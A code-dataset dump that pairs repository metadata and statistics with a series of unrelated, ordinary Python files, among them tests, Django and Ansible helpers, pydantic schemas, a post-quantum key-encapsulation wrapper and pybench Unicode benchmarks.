0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
1
0
0
3
a5d7c227370e54734f5867c38798572a43b46f98
692
py
Python
WaltzControl/interface_adapters/tests/test_view_models.py
DaneSpaeth/WaltzControl_refactored
80aa3e28f1e0709bc7dd9472bc1d841e9b4da9e7
[ "MIT" ]
null
null
null
WaltzControl/interface_adapters/tests/test_view_models.py
DaneSpaeth/WaltzControl_refactored
80aa3e28f1e0709bc7dd9472bc1d841e9b4da9e7
[ "MIT" ]
null
null
null
WaltzControl/interface_adapters/tests/test_view_models.py
DaneSpaeth/WaltzControl_refactored
80aa3e28f1e0709bc7dd9472bc1d841e9b4da9e7
[ "MIT" ]
null
null
null
import pytest from interface_adapters.view_models import PositionViewModel class TestPositionViewModel(): """Test PositionViewModel class.""" def setup_method(self): """Execute before every test. Create PositionViewModel instance.""" self.pos_view = PositionViewModel() def test_set_ra(self): """ Test setting ra attribute of PositionViewModel instance.""" self.pos_view.ra = '12h00m00s' assert self.pos_view.ra == '12h00m00s' def test_set_dec(self): """ Test setting dec attribute of PositionViewModel instance.""" self.pos_view.dec = '''12°00'00"''' assert self.pos_view.dec == '''12°00'00"'''
34.6
75
0.660405
81
692
5.518519
0.395062
0.0783
0.123043
0.214765
0.434004
0.279642
0.279642
0.09396
0
0
0
0.044527
0.221098
692
19
76
36.421053
0.781076
0.297688
0
0
0
0
0.077754
0
0
0
0
0
0.181818
1
0.272727
false
0
0.181818
0
0.545455
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
3
a5df5346c5b9f3e59f46c88bded5cbf94f6c8e6c
217
py
Python
external/netdef_models/netdef_slim/tensorflow/schedules/schedule.py
zhuhu00/MOTSFusion_modify
190224a7c3fbded69fedf9645a0ebbf08227fb6d
[ "MIT" ]
null
null
null
external/netdef_models/netdef_slim/tensorflow/schedules/schedule.py
zhuhu00/MOTSFusion_modify
190224a7c3fbded69fedf9645a0ebbf08227fb6d
[ "MIT" ]
null
null
null
external/netdef_models/netdef_slim/tensorflow/schedules/schedule.py
zhuhu00/MOTSFusion_modify
190224a7c3fbded69fedf9645a0ebbf08227fb6d
[ "MIT" ]
null
null
null
from netdef_slim.schedules.schedule import _Schedule nothing = None class Schedule(_Schedule): def __init__(self, name, base_lr, max_iter, stretch=1.0): super().__init__(name, base_lr, max_iter, stretch)
31
61
0.746544
31
217
4.741935
0.677419
0.108844
0.136054
0.176871
0.326531
0.326531
0
0
0
0
0
0.010811
0.147465
217
7
62
31
0.783784
0
0
0
0
0
0
0
0
0
0
0
0
1
0.2
false
0
0.2
0
0.6
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
3
a5e7c1a33e1364166061f3b90f9e1b5401e5ec8a
144
py
Python
cutter/apps.py
gelerum/cut_and_go
8c2192d5db806b1136b6527331fe042bab193f98
[ "MIT" ]
1
2021-12-02T13:47:38.000Z
2021-12-02T13:47:38.000Z
cutter/apps.py
codegleb/cut_and_go
8c2192d5db806b1136b6527331fe042bab193f98
[ "MIT" ]
null
null
null
cutter/apps.py
codegleb/cut_and_go
8c2192d5db806b1136b6527331fe042bab193f98
[ "MIT" ]
null
null
null
from django.apps import AppConfig class CutterConfig(AppConfig): default_auto_field = 'django.db.models.BigAutoField' name = 'cutter'
20.571429
56
0.756944
17
144
6.294118
0.882353
0
0
0
0
0
0
0
0
0
0
0
0.152778
144
6
57
24
0.877049
0
0
0
0
0
0.243056
0.201389
0
0
0
0
0
1
0
false
0
0.25
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
3
a5e92a227881ecb4b0631502decd6a696a14415a
644
py
Python
src/lib/optimizer.py
judithernandez/hydra_test
239207afbaee00a27f8d87ac14905dfff3e1c502
[ "BSD-3-Clause" ]
4
2022-01-27T14:27:23.000Z
2022-03-08T05:41:13.000Z
src/lib/optimizer.py
judithernandez/hydra_test
239207afbaee00a27f8d87ac14905dfff3e1c502
[ "BSD-3-Clause" ]
null
null
null
src/lib/optimizer.py
judithernandez/hydra_test
239207afbaee00a27f8d87ac14905dfff3e1c502
[ "BSD-3-Clause" ]
1
2022-01-28T02:42:20.000Z
2022-01-28T02:42:20.000Z
from dataclasses import dataclass @dataclass class Optimizer: lr: float = 0.02 @dataclass class Adam(Optimizer): _target_: str = "torch.optim.Adam" @dataclass class SGD(Optimizer): _target_: str = "torch.optim.SGD" nesterov: bool = False momentum: float = 0.9 weight_decay: float = 1e-6 lr: float = 0.3 @dataclass class RMSprop(Optimizer): _target_: str = "torch.optim.RMSprop" momentum: float = 0 @dataclass class LARS(Optimizer): _target_: str = "pl_bolts.optimizers.lars.LARS" lr: float = 4.8 momentum: float = 0.9 trust_coefficient: float = 0.001 weight_decay: float = 1e-6
17.888889
51
0.670807
86
644
4.883721
0.418605
0.085714
0.171429
0.164286
0.290476
0
0
0
0
0
0
0.039761
0.218944
644
35
52
18.4
0.795229
0
0
0.36
0
0
0.122671
0.045031
0
0
0
0
0
1
0
true
0
0.04
0
0.8
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
1
0
0
3
57192fd01d778c50168f9a67ebcdd7afde8934c6
88
py
Python
examples/crawler_exmaple.py
gj94gj94ao4/dltracker
691f4286b5e83c598a611a40cfb83a5dc7c1dea6
[ "MIT" ]
null
null
null
examples/crawler_exmaple.py
gj94gj94ao4/dltracker
691f4286b5e83c598a611a40cfb83a5dc7c1dea6
[ "MIT" ]
null
null
null
examples/crawler_exmaple.py
gj94gj94ao4/dltracker
691f4286b5e83c598a611a40cfb83a5dc7c1dea6
[ "MIT" ]
null
null
null
from tracker.crawler import ManiaxCrawler c = ManiaxCrawler("RJ231054") c.fetch_work()
17.6
41
0.795455
11
88
6.272727
0.818182
0
0
0
0
0
0
0
0
0
0
0.075949
0.102273
88
4
42
22
0.797468
0
0
0
0
0
0.090909
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
57294911bc01a8f81750cfe2c52705fe4c03626c
2,218
py
Python
ansible/host_vars/generate-instances.py
Sirius-ctrl/COMP90024-Project2-Distributed-Twitter-Analyser
7b19bb3bb995bec981a3d159e5e4e853361341b0
[ "Apache-2.0" ]
9
2020-08-09T14:31:48.000Z
2022-03-15T09:41:28.000Z
ansible/host_vars/generate-instances.py
Sirius-ctrl/COMP90024-Project2-Distributed-Twitter-Analyser
7b19bb3bb995bec981a3d159e5e4e853361341b0
[ "Apache-2.0" ]
null
null
null
ansible/host_vars/generate-instances.py
Sirius-ctrl/COMP90024-Project2-Distributed-Twitter-Analyser
7b19bb3bb995bec981a3d159e5e4e853361341b0
[ "Apache-2.0" ]
8
2020-06-30T12:37:55.000Z
2022-03-03T11:12:23.000Z
""" Author: XuLin Yang Student id: 904904 Date: 2020-4-22 16:03:55 Description: generate n instances var """ import argparse def create_instances_file(n_instances: int): # print("", file=file) with open("instances.yaml", 'w') as file: print("---", file=file) print("# ****************************** Security group ******************************", file=file) print("# Create a TCP rule covering all ports", file=file) print("security_groups:", file=file) for i in range(1, n_instances+1): print(" - name: instance{}-security-group".format(i), file=file) print(" description: \"security group for instance{} server\"".format(i), file=file) print(" protocol: tcp", file=file) print(" port_range_min: 1", file=file) print(" port_range_max: 65535", file=file) print(" remote_ip_prefix: 0.0.0.0/0", file=file) print("", file=file) print("# ****************************** Volume ******************************", file=file) print("volumes:", file=file) for i in range(1, n_instances+1): print(" - vol_name: instance{}-volume".format(i), file=file) print(" vol_size: 60", file=file) print(" device: /dev/vdb", file=file) print(" mountpoint: /data", file=file) print("", file=file) print("# ****************************** Instance ******************************", file=file) print("instances:", file=file) for i in range(1, n_instances + 1): print(" - name: instance{}".format(i), file=file) print(" security_groups: instance{}-security-group".format(i), file=file) print(" volume_ids: '{{ instance{}_volumes|default([]) }}'".format(i), file=file) print(" volumes: ['instance{}-volume']".format(i), file=file) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('-n', help='n instances to be created') args = parser.parse_args() # n_instances = int(input("How much instances you would like to create?")) create_instances_file(int(args.n))
41.074074
106
0.53156
255
2,218
4.501961
0.341176
0.174216
0.226481
0.091463
0.425087
0.275261
0.179443
0.179443
0.114983
0.114983
0
0.022579
0.241208
2,218
53
107
41.849057
0.659537
0.093778
0
0.142857
1
0
0.366817
0.14043
0
0
0
0
0
1
0.028571
false
0
0.028571
0
0.057143
0.685714
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
3
938b80290f8539d0ddfedd0ea80d752e46210696
1,078
py
Python
utils/exceptions/exceptions.py
Partha9318/MIS-Backend
401fbe736d481c145fd827ea300d065f8cb8417b
[ "MIT" ]
null
null
null
utils/exceptions/exceptions.py
Partha9318/MIS-Backend
401fbe736d481c145fd827ea300d065f8cb8417b
[ "MIT" ]
null
null
null
utils/exceptions/exceptions.py
Partha9318/MIS-Backend
401fbe736d481c145fd827ea300d065f8cb8417b
[ "MIT" ]
null
null
null
class EventNotFound(Exception): """Handles invalid event type provided to publishers Attributes: event_type --> the event that's invalid message --> additional message to log or print """ def __init__(self, event_type: str, message: str ="invalid event"): self.event_type = event_type self.message = message def __repr__(self): return f"{self.event_type} --> {self.message}" class UnexpectedError(Exception): """Handles unknown errors Attributes: message --> additional message to log or print """ def __init__(self, message: str ="unexpected error occured"): self.message = message def __repr__(self): return {self.message} class NotFoundError(Exception): """Handles not found Attributes: message --> additional message to log or print """ def __init__(self, message: str ="element not found"): self.message = message def __repr__(self): return {self.message}
22.458333
71
0.607607
115
1,078
5.443478
0.313043
0.140575
0.115016
0.124601
0.492013
0.492013
0.492013
0.436102
0.436102
0.289137
0
0
0.296846
1,078
48
72
22.458333
0.825858
0.30334
0
0.5
0
0
0.140187
0
0
0
0
0
0
1
0.375
false
0
0
0.1875
0.75
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
939d7bf64c110ac406e2dc4cb443a9fa6ba23172
190
py
Python
notebook/fido_demo_lru.py
Lin0818/py-study-notebook
6f70ab9a7fde0d6b46cd65475293e2eef6ef20e7
[ "Apache-2.0" ]
1
2018-12-12T09:00:27.000Z
2018-12-12T09:00:27.000Z
notebook/fido_demo_lru.py
Lin0818/py-study-notebook
6f70ab9a7fde0d6b46cd65475293e2eef6ef20e7
[ "Apache-2.0" ]
null
null
null
notebook/fido_demo_lru.py
Lin0818/py-study-notebook
6f70ab9a7fde0d6b46cd65475293e2eef6ef20e7
[ "Apache-2.0" ]
null
null
null
import functools from clockdeco import clock @functools.lru_cache() @clock def fibonacci(n): if n < 2: return n return fibonacci(n-2) + fibonacci(n-1) print(fibonacci(6))
15.833333
42
0.678947
28
190
4.571429
0.571429
0.234375
0
0
0
0
0
0
0
0
0
0.026667
0.210526
190
11
43
17.272727
0.826667
0
0
0
0
0
0
0
0
0
0
0
0
1
0.111111
false
0
0.222222
0
0.555556
0.111111
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
3
93aabcdffea50a9b8127c2251fd3c0b40c382351
466
py
Python
Aula-10/ex031.py
matheussantanads/exercicios-python
3b25db164342e9613f97d2f81ff218a99ab3febe
[ "MIT" ]
1
2020-07-15T02:59:58.000Z
2020-07-15T02:59:58.000Z
Aula-10/ex031.py
matheussantanads/exercicios-python
3b25db164342e9613f97d2f81ff218a99ab3febe
[ "MIT" ]
null
null
null
Aula-10/ex031.py
matheussantanads/exercicios-python
3b25db164342e9613f97d2f81ff218a99ab3febe
[ "MIT" ]
null
null
null
# Curso Python 10 # ---Desafio 31--- # Desenvolva um programa que pergunte a distância de uma viagem em Km. Calcule # o preço da passagem, cobrando R$0,50 por Km para viagens de até 200Km e # $0,45 parta viagens mais longas. dist = float(input('Qual a distância da viagem? ')) if dist <= 200: print(f'Para a viagem de {dist}km o preço da passagem é de R${dist*0.5:.2f}') else: print(f'Para a viagem de {dist}km o preço da passagem é de R${dist*0.45:.2f}')
38.833333
82
0.688841
90
466
3.566667
0.533333
0.056075
0.074766
0.149533
0.311526
0.311526
0.311526
0.311526
0.311526
0.311526
0
0.061008
0.190987
466
11
83
42.363636
0.790451
0.461373
0
0
0
0.4
0.665306
0
0
0
0
0
0
1
0
false
0.4
0
0
0
0.4
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
3
93cd950497d3da841cd0c008219f6816eef4a966
578
py
Python
src/bot/helpers/color_helper.py
rdunc/rybot
ec3bf6159e095b53e69f6f81af9f10739c180b42
[ "MIT" ]
1
2016-01-11T02:10:05.000Z
2016-01-11T02:10:05.000Z
src/bot/helpers/color_helper.py
rdunc/RyBot
ec3bf6159e095b53e69f6f81af9f10739c180b42
[ "MIT" ]
null
null
null
src/bot/helpers/color_helper.py
rdunc/RyBot
ec3bf6159e095b53e69f6f81af9f10739c180b42
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 from colorama import init, Fore, Back, Style class ColorHelper: """Initialize all the things we need.""" def __init__(self, config): init() def reset_all(): return Fore.RESET + Style.RESET_ALL def red(): return Fore.RED + Style.BRIGHT def green(): return Fore.GREEN + Style.BRIGHT def cyan(): return Fore.CYAN + Style.BRIGHT def white(): return Fore.WHITE + Style.BRIGHT def magenta(): return Fore.MAGENTA + Style.BRIGHT
17.515152
45
0.569204
68
578
4.75
0.441176
0.185759
0.173375
0
0
0
0
0
0
0
0
0.002584
0.33045
578
32
46
18.0625
0.832041
0.096886
0
0
0
0
0
0
0
0
0
0
0
1
0.4375
false
0
0.0625
0.375
0.9375
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
93d8e14386ebe5952855f6cb956ad5696836c5a3
261
py
Python
utlily/strategy.py
askeladd12/Binance_bot_tradign
bb7d1a48bf65dcb400fa8196e4092983c4a06cbf
[ "MIT" ]
null
null
null
utlily/strategy.py
askeladd12/Binance_bot_tradign
bb7d1a48bf65dcb400fa8196e4092983c4a06cbf
[ "MIT" ]
null
null
null
utlily/strategy.py
askeladd12/Binance_bot_tradign
bb7d1a48bf65dcb400fa8196e4092983c4a06cbf
[ "MIT" ]
1
2022-03-26T06:45:20.000Z
2022-03-26T06:45:20.000Z
from finta import TA class indicators: def __init__(self, data) -> None: self.close = data.get('Close') self.open = data.get('Open') self.high = data.get('High') def ema(self): return TA.EMA(self.close, period=15)
21.75
44
0.582375
36
261
4.111111
0.527778
0.141892
0
0
0
0
0
0
0
0
0
0.010582
0.275862
261
11
45
23.727273
0.772487
0
0
0
0
0
0.049808
0
0
0
0
0
0
1
0.25
false
0
0.125
0.125
0.625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
93e399dc89dd0323ccf153a061581e427af79f34
216
py
Python
documentation/source/bugReplication/FL_all_ListMutlipleSelection.py
anthrotype/dialogKit
f63226001359bf9044f92c7f87fb3eccc35d9e9e
[ "MIT" ]
21
2015-01-16T05:10:02.000Z
2021-06-11T20:48:15.000Z
documentation/source/bugReplication/FL_all_ListMutlipleSelection.py
anthrotype/dialogKit
f63226001359bf9044f92c7f87fb3eccc35d9e9e
[ "MIT" ]
1
2019-09-09T12:10:27.000Z
2020-05-22T10:12:14.000Z
documentation/source/bugReplication/FL_all_ListMutlipleSelection.py
anthrotype/dialogKit
f63226001359bf9044f92c7f87fb3eccc35d9e9e
[ "MIT" ]
3
2015-05-07T19:35:50.000Z
2016-01-14T02:31:53.000Z
# environment: FontLab # version: All # platform: Mac (untested in Windows) # dialogKit object: List # description: Multiple selection in the list is not allowed. # cause: This a limitation of FontLab's Dialog class.
36
61
0.763889
30
216
5.5
0.9
0
0
0
0
0
0
0
0
0
0
0
0.157407
216
6
62
36
0.906593
0.944444
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
3
93e815ed23d78877d443a99e02cbb97a70e7cafa
1,275
py
Python
search/common/error.py
JinHai-CN/phantoscope
1148a30bd379691220e46520248f76615f1d86d3
[ "Apache-2.0" ]
null
null
null
search/common/error.py
JinHai-CN/phantoscope
1148a30bd379691220e46520248f76615f1d86d3
[ "Apache-2.0" ]
null
null
null
search/common/error.py
JinHai-CN/phantoscope
1148a30bd379691220e46520248f76615f1d86d3
[ "Apache-2.0" ]
null
null
null
class Error(Exception): def __init__(self, message, error): self.message = message self.error = error @property def code(self): return 503 @property def name(self): return self.__class__.__name__ @property def description(self): return self.message class OperatorImportError(Error): pass class OperatorRegistError(Error): pass class PipelineCheckError(Error): pass class Insert2SQLError(Error): pass class QueryFromSQLError(Error): pass class DeleteFromSQLError(Error): pass class UpdateFromSQLError(Error): pass class NotExistError(Error): @property def code(self): return 404 class MilvusError(Error): pass class S3Error(Error): pass class DecodeError(Error): @property def code(self): return 400 class DownloadFileError(Error): @property def code(self): return 598 class PipelineIlegalError(Error): @property def code(self): return 400 class RPCExecError(Error): @property def code(self): return 503 class RequestError(Error): @property def code(self): return 400 class NoneVectorError(Error): @property def code(self): return 400
15
39
0.649412
134
1,275
6.089552
0.246269
0.134804
0.154412
0.196078
0.334559
0.334559
0.261029
0.139706
0
0
0
0.027927
0.269804
1,275
84
40
15.178571
0.84855
0
0
0.559322
0
0
0
0
0
0
0
0
0
1
0.186441
false
0.152542
0.016949
0.169492
0.661017
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
1
0
0
0
3
9e20244b92ef8895e9449f43f39b44cf947b8eeb
477
py
Python
Python code/QPA with SSL/ClientSSL.py
wsherry/QuantumPasswordAuthentication
682751d28c3fdcd1166749621cbb0e9db5fc169c
[ "MIT" ]
1
2021-10-21T21:56:31.000Z
2021-10-21T21:56:31.000Z
Python code/QPA with SSL/ClientSSL.py
wsherry/QuantumPasswordAuthentication
682751d28c3fdcd1166749621cbb0e9db5fc169c
[ "MIT" ]
null
null
null
Python code/QPA with SSL/ClientSSL.py
wsherry/QuantumPasswordAuthentication
682751d28c3fdcd1166749621cbb0e9db5fc169c
[ "MIT" ]
1
2022-02-03T22:42:43.000Z
2022-02-03T22:42:43.000Z
from EntitySSL import EntitySSL import oqs class ClientSSL(EntitySSL): def __init__(self, kemalg="FrodoKEM-1344-AES"): self.client = oqs.KeyEncapsulation(kemalg) def generate_AES_key(self, public_key): """Generates an encrypted AES key using a public key for establishing secure communication with another party""" ciphertext, shared_secret = self.client.encap_secret(public_key) self.AES_key = shared_secret return ciphertext
36.692308
120
0.733753
60
477
5.633333
0.583333
0.053254
0
0
0
0
0
0
0
0
0
0.01039
0.192872
477
12
121
39.75
0.867532
0.222222
0
0
1
0
0.046575
0
0
0
0
0
0
1
0.222222
false
0
0.222222
0
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
3
f507cb1fdfd1abf16b30c9f962d39be43dbaf004
901
py
Python
schemas/user.py
apoveda25/graphql-python-server
eb7b911aa1116327120b857beb17da3e30523e74
[ "Apache-2.0" ]
4
2020-06-20T11:54:04.000Z
2021-09-07T11:41:32.000Z
schemas/user.py
apoveda25/graphql-python-server
eb7b911aa1116327120b857beb17da3e30523e74
[ "Apache-2.0" ]
null
null
null
schemas/user.py
apoveda25/graphql-python-server
eb7b911aa1116327120b857beb17da3e30523e74
[ "Apache-2.0" ]
null
null
null
from pydantic import BaseModel, EmailStr, constr, validator from datetime import datetime as dt from schemas.helpers.regex import datetime as regex_dt class UserCreate(BaseModel): key: str = None email: EmailStr active: bool username: str password: str first_name: str = "" last_name: str = "" image_url: str = "" created_at: constr(regex=regex_dt) = dt.now().isoformat() created_by: str = "" updated_at: constr(regex=regex_dt) = dt.now().isoformat() updated_by: str = "" @validator("username") def lower_username(cls, v): return v.lower() @validator("first_name") def lower_first_name(cls, v): return v.lower() @validator("last_name") def lower_last_name(cls, v): return v.lower() @validator("password") def hash_password(cls, v): # Se debe encriptar la contraseña return v
25.027778
61
0.645949
117
901
4.820513
0.384615
0.028369
0.053191
0.058511
0.267731
0.267731
0.223404
0.120567
0
0
0
0
0.240844
901
35
62
25.742857
0.824561
0.034406
0
0.107143
0
0
0.040323
0
0
0
0
0
0
1
0.142857
false
0.107143
0.107143
0.142857
0.857143
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
1
1
0
0
3
f544de48788a332ddeaeda1e2695d76717f25ae9
10,449
py
Python
pybench/Unicode.py
haypo/pymicrobench
7c6b92deaf5cf0c3fc965fcfcbc6a78f7d0d10f4
[ "MIT" ]
3
2018-01-17T18:45:23.000Z
2020-10-02T06:26:03.000Z
pybench/Unicode.py
vstinner/pymicrobench
7c6b92deaf5cf0c3fc965fcfcbc6a78f7d0d10f4
[ "MIT" ]
null
null
null
pybench/Unicode.py
vstinner/pymicrobench
7c6b92deaf5cf0c3fc965fcfcbc6a78f7d0d10f4
[ "MIT" ]
4
2018-01-17T18:45:23.000Z
2020-10-08T15:24:51.000Z
import pyperf import six from six import unichr from six.moves import xrange from pybench import Test if six.PY2: # On Python 2, unicode support is optional try: unicode except NameError: raise ImportError else: unicode = str class ConcatUnicode(Test): version = 2.0 operations = 10 * 5 inner_loops = 10 * 5 def test(self, loops): # Make sure the strings are *not* interned s = unicode(u''.join(map(str, range(100)))) t = unicode(u''.join(map(str, range(1, 101)))) range_it = xrange(loops) t0 = pyperf.perf_counter() for _ in range_it: t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s t + s return pyperf.perf_counter() - t0 class CompareUnicode(Test): version = 2.0 operations = 10 * 5 inner_loops = 10 * 5 def test(self, loops): # Make sure the strings are *not* interned s = unicode(u''.join(map(str, range(10)))) t = unicode(u''.join(map(str, range(10))) + "abc") range_it = xrange(loops) t0 = pyperf.perf_counter() for _ in range_it: t < s t > s t == s t > s t < s t < s t > s t == s t > s t < s t < s t > s t == s t > s t < s t < s t > s t == s t > s t < s t < s t > s t == s t > s t < s t < s t > s t == s t > s t < s t < s t > s t == s t > s t < s t < s t > s t == s t > s t < s t < s t > s t == s t > s t < s t < s t > s t == s t > s t < s return pyperf.perf_counter() - t0 class CreateUnicodeWithConcat(Test): version = 2.0 operations = 10 * 5 inner_loops = 10 * 5 def test(self, loops): range_it = xrange(loops) t0 = pyperf.perf_counter() for _ in range_it: s = u'om' s = s + u'xbx' s = s + u'xcx' s = s + u'xdx' s = s + u'xex' s = s + u'xax' s = s + u'xbx' s = s + u'xcx' s = s + u'xdx' s = s + u'xex' s = s + u'xax' s = s + u'xbx' s = s + u'xcx' s = s + u'xdx' s = s + u'xex' s = s + u'xax' s = s + u'xbx' s = s + u'xcx' s = s + u'xdx' s = s + u'xex' s = s + u'xax' s = s + u'xbx' s = s + u'xcx' s = s + u'xdx' s = s + u'xex' s = s + u'xax' s = s + u'xbx' s = s + u'xcx' s = s + u'xdx' s = s + u'xex' s = s + u'xax' s = s + u'xbx' s = s + u'xcx' s = s + u'xdx' s = s + u'xex' s = s + u'xax' s = s + u'xbx' s = s + u'xcx' s = s + u'xdx' s = s + u'xex' s = s + u'xax' s = s + u'xbx' s = s + u'xcx' s = s + u'xdx' s = s + u'xex' s = s + u'xax' s = s + u'xbx' s = s + u'xcx' s = s + u'xdx' s = s + u'xex' return pyperf.perf_counter() - t0 class UnicodeSlicing(Test): version = 2.0 operations = 5 * 7 inner_loops = 5 * 7 def test(self, loops): s = unicode(u''.join(map(str, range(100)))) range_it = xrange(loops) t0 = pyperf.perf_counter() for _ in range_it: s[50:] s[:25] s[50:55] s[-1:] s[:1] s[2:] s[11:-11] s[50:] s[:25] s[50:55] s[-1:] s[:1] s[2:] s[11:-11] s[50:] s[:25] s[50:55] s[-1:] s[:1] s[2:] s[11:-11] s[50:] s[:25] s[50:55] s[-1:] s[:1] s[2:] s[11:-11] s[50:] s[:25] s[50:55] s[-1:] s[:1] s[2:] s[11:-11] return pyperf.perf_counter() - t0 # String methods class UnicodeMappings(Test): version = 2.0 operations = 3 * (5 + 4 + 2 + 1) def test(self, loops): s = u''.join(map(unichr, range(20))) t = u''.join(map(unichr, range(100))) u = u''.join(map(unichr, range(500))) v = u''.join(map(unichr, range(1000))) range_it = xrange(loops) t0 = pyperf.perf_counter() for _ in range_it: s.lower() s.lower() s.lower() s.lower() s.lower() s.upper() s.upper() s.upper() s.upper() s.upper() s.title() s.title() s.title() s.title() s.title() t.lower() t.lower() t.lower() t.lower() t.upper() t.upper() t.upper() t.upper() t.title() t.title() t.title() t.title() u.lower() u.lower() u.upper() u.upper() u.title() u.title() v.lower() v.upper() v.title() return pyperf.perf_counter() - t0 class UnicodePredicates(Test): version = 2.0 operations = 5 * 9 inner_loops = 5 * 9 def test(self, loops): data = (u'abc', u'123', u' ', u'\u1234\u2345\u3456', u'\uFFFF' * 10) len_data = len(data) range_it = xrange(loops) t0 = pyperf.perf_counter() for i in range_it: s = data[i % len_data] s.isalnum() s.isalpha() s.isdecimal() s.isdigit() s.islower() s.isnumeric() s.isspace() s.istitle() s.isupper() s.isalnum() s.isalpha() s.isdecimal() s.isdigit() s.islower() s.isnumeric() s.isspace() s.istitle() s.isupper() s.isalnum() s.isalpha() s.isdecimal() s.isdigit() s.islower() s.isnumeric() s.isspace() s.istitle() s.isupper() s.isalnum() s.isalpha() s.isdecimal() s.isdigit() s.islower() s.isnumeric() s.isspace() s.istitle() s.isupper() s.isalnum() s.isalpha() s.isdecimal() s.isdigit() s.islower() s.isnumeric() s.isspace() s.istitle() s.isupper() return pyperf.perf_counter() - t0 try: import unicodedata except ImportError: pass else: class UnicodeProperties(Test): version = 2.0 operations = 5 * 8 inner_loops = 5 * 8 def test(self, loops): data = (u'a', u'1', u' ', u'\u1234', u'\uFFFF') len_data = len(data) digit = unicodedata.digit numeric = unicodedata.numeric decimal = unicodedata.decimal category = unicodedata.category bidirectional = unicodedata.bidirectional decomposition = unicodedata.decomposition mirrored = unicodedata.mirrored combining = unicodedata.combining range_it = xrange(loops) t0 = pyperf.perf_counter() for i in range_it: c = data[i % len_data] digit(c, None) numeric(c, None) decimal(c, None) category(c) bidirectional(c) decomposition(c) mirrored(c) combining(c) digit(c, None) numeric(c, None) decimal(c, None) category(c) bidirectional(c) decomposition(c) mirrored(c) combining(c) digit(c, None) numeric(c, None) decimal(c, None) category(c) bidirectional(c) decomposition(c) mirrored(c) combining(c) digit(c, None) numeric(c, None) decimal(c, None) category(c) bidirectional(c) decomposition(c) mirrored(c) combining(c) digit(c, None) numeric(c, None) decimal(c, None) category(c) bidirectional(c) decomposition(c) mirrored(c) combining(c) return pyperf.perf_counter() - t0
20.210832
78
0.345009
1,169
10,449
3.047049
0.102652
0.056148
0.082538
0.110051
0.769792
0.711679
0.656373
0.628018
0.611454
0.59461
0
0.039596
0.545602
10,449
516
79
20.25
0.710615
0.013111
0
0.877451
0
0
0.019404
0
0
0
0
0
0
1
0.017157
false
0.002451
0.019608
0
0.120098
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
1
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
f56a2e17b04d43511656846620fb010e3ea8afe9
237
py
Python
snake.py
EstudoUdacityAAS/nanodegree-data-science-1
4db01b0dce4514a8d16bbc22150372d1d9ab2a4e
[ "Apache-2.0" ]
null
null
null
snake.py
EstudoUdacityAAS/nanodegree-data-science-1
4db01b0dce4514a8d16bbc22150372d1d9ab2a4e
[ "Apache-2.0" ]
null
null
null
snake.py
EstudoUdacityAAS/nanodegree-data-science-1
4db01b0dce4514a8d16bbc22150372d1d9ab2a4e
[ "Apache-2.0" ]
null
null
null
how_many_snakes = 1 snake_string = """ Bem-vindo ao Python3! ____ / . .\\ \ ---< \ / __________/ / -=:___________/ <3, Philip e Charlie """ print(snake_string * how_many_snakes)
13.941176
37
0.493671
20
237
4.3
0.75
0.162791
0.302326
0
0
0
0
0
0
0
0
0.02
0.367089
237
16
38
14.8125
0.553333
0
0
0
0
0
0.654008
0
0
0
0
0
0
1
0
false
0
0
0
0
0.083333
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
